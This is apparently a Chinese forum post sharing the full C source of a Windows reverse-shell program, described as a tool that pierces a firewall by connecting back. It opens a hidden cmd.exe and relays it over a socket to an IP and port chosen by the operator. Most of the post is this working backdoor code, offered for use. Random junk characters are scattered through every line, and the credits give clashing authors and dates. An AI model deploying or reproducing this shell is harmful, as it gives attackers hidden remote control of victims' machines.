这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 /Q*cyLv
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/* ============================== D`fi\A
Rebound port in Windows NT .BqSE
By wind,2006/7 9G)q U
===============================*/ `|d&ta[{
#include ?>
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#include o:C],G_
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#pragma comment(lib,"wsock32.lib") Z2soy-
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void OutputShell(); +'f38D*
SOCKET sClient; '@
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pGh A
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void main(int argc,char **argv) `Z!NOC
{ "i3Q)$"S
WSADATA stWsaData; FdVWj
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int nRet; 1> wt
SOCKADDR_IN stSaiClient,stSaiServer; r-SQk>Y}
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if(argc != 3) 2O~I.(9(
{ km+}./@
printf("Useage:\n\rRebound DestIP DestPort\n"); Ls~F4ar$/
return; EPMdR66
} *[?DnF+
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WSAStartup(MAKEWORD(2,2),&stWsaData); M.QXwIT
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); JkM f+!
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stSaiClient.sin_family = AF_INET; zZ\2fKrpg
stSaiClient.sin_port = htons(0); A! j4;=}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); g6=w
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Q?\rwnW?U
{ I];Hx'/<~
printf("Bind Socket Failed!\n"); V6{P4 1_
return; T-L;iH~0
} ,0=@cJ
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stSaiServer.sin_family = AF_INET; B U^3U x$
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ,'69RL?-Wg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); u teI[Q
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) {}TR'Y4
{ R0v5mD$:G
printf("Connect Error!"); hiN6]jL|O
return; -{A!zTw1w
} 9G'Q3?
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OutputShell(); D{!NTr
} "77 j(Vs9
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void OutputShell() <Hq|<^_K
{ X(;,-7Jw
char szBuff[1024]; T;u>]"S
SECURITY_ATTRIBUTES stSecurityAttributes; !pNY`sw}
OSVERSIONINFO stOsversionInfo; 8yDu(.Q
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 1Lf:TQB
STARTUPINFO stStartupInfo; C$1}c[
char *szShell; k^IC"pUc
PROCESS_INFORMATION stProcessInformation; XdDy0e4{%<
unsigned long lBytesRead; .CL\``
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ~Z'3(n*9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); K8l|qe
stSecurityAttributes.lpSecurityDescriptor = 0; U_UX *
stSecurityAttributes.bInheritHandle = TRUE; .d;XLS~
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); <R.5Ma
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N:y3tpG
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); LI&+5`
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3PEv.hGx
stStartupInfo.wShowWindow = SW_HIDE; ZMHb
stStartupInfo.hStdInput = hReadPipe; cIO7RD$8
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [7~ !M*o9
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GetVersionEx(&stOsversionInfo); s9wcZO
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switch(stOsversionInfo.dwPlatformId) hoc$aqP6pp
{ <Cvlz^K[
case 1: ueiXY|
szShell = "command.com"; Q`Q%;%t
break; 'wd-!aZAd
default: SY`
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szShell = "cmd.exe"; IQS:tL/
break; T>&d/$;]
} wnL\.%Y^
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 24)3^1P\V
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send(sClient,szMsg,77,0); B?nQUIb:
while(1) }'mBqn
{ 6BihZ|H04
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); m"~^-mJ-
if(lBytesRead) 9ZL3p!
{ @LS*WJ< w-
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8"4&IX
send(sClient,szBuff,lBytesRead,0); lEBt<
} ,OX(z=i_
else oyBBW?m
{ ;~$_A4;
lBytesRead=recv(sClient,szBuff,1024,0); Hb KJ&^
if(lBytesRead<=0) break; SSKn7`
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); -,Q
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} }jM&GH1
} /#z5bo
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return; $&96qsr
}